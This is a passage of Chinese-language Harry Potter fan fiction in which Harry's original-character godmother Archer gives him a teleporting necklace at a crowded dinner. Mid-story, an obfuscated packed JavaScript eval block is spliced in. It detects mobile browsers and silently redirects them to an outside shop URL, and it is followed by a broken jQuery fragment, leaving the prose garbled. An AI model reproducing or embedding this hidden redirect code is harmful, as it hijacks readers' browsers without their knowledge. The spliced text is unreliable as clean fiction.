坐在中間簡直像個夾心餅乾的哈利，有時候很不明白為什麼他的教母教父不能和睦相處，身為他們的教子，他夾在中間就很為難。
“吃點什麼，哈利？蛋糕怎麼樣？”小天狼星孜孜不倦地問。
哈利瞄了阿切爾一眼，後者似乎在專心享受盤子裡的食物，他才說了聲“好”。
“小天狼星，我一直想告訴你，客廳的那張寫字台裡麵關著什麼東西，它不停地搖晃，發出咯啦啦的聲音。也許隻是一個博格特，但我想我們還是先請阿拉斯托來看看再把它放出來。”莫麗說。
“隨便吧。”小天狼星興味索然。
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166709|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
“還有，那兒的窗簾裡都是狐猸子，”韋斯萊夫人接著說道，“我想明天我們得想辦法把它們處理一下。”
“我正巴不得呢。”小天狼星說。
哈利聽出了他聲音裡的諷刺意味，但不知道其他人有沒有聽出來。
在哈利對麵，唐克斯一邊吃飯一邊給她的鼻子變形，逗赫敏和金妮開心。每次她都緊緊地閉上眼睛，露出她在哈利臥室裡時露出的那種痛苦表情，她的鼻子忽而腫脹得像鳥嘴一樣，看上去活脫脫是斯內普的鼻子，忽而又縮回去，變成圓球蘑菇一般大小，然後每個鼻孔裡都冒出一大堆鼻毛。
這顯然是吃飯時的固定娛樂節目，因為很快赫敏和金妮就要求她變出她們最喜歡的鼻子。
“變出一隻豬鼻子來，唐克斯。”
唐克斯照辦了，哈利抬起頭，刹那間，他還以為一個女達力正隔著桌子朝他咧嘴微笑呢。
阿切爾忽然想到什麼，她嘀咕了一句“差點又忘了”，然後在教子好奇的目光下，從鬥篷內袋拿出一根金紅色的項鏈，底下墜著小小的“HP”的字樣。
哈利馬上知道這是改造好了，他接過：“謝謝你，阿切爾。”
“遇到危險，捏著它叫我名字，你會瞬移到我身邊來。”阿切爾隨意說。
“這是因為什麼原理，教授？”對麵的韋斯萊雙子馬上好奇地問。
阿切爾瞥了他們一眼，將袖子滑上去一截，露出手腕，上麵隨意環繞著一根銀紫色的鏈條：“子母鏈。”
“這根鏈子在誰手上，就念誰的名字，瞬移效果是一樣的，對嗎？”弗雷德繼續問。
“一點毛病也沒有。”阿切爾將盤子裡最後一口食物吃完。
韋斯萊先生、比爾和盧平正在進行一場關於妖精的激烈討淪。
“他們還是滴水不漏，什麼也不肯說，”比爾說，“我仍然弄不清楚他們是不是相信他回來了。當然，他們大概不想支持任何一方，不想卷到這裡頭來。”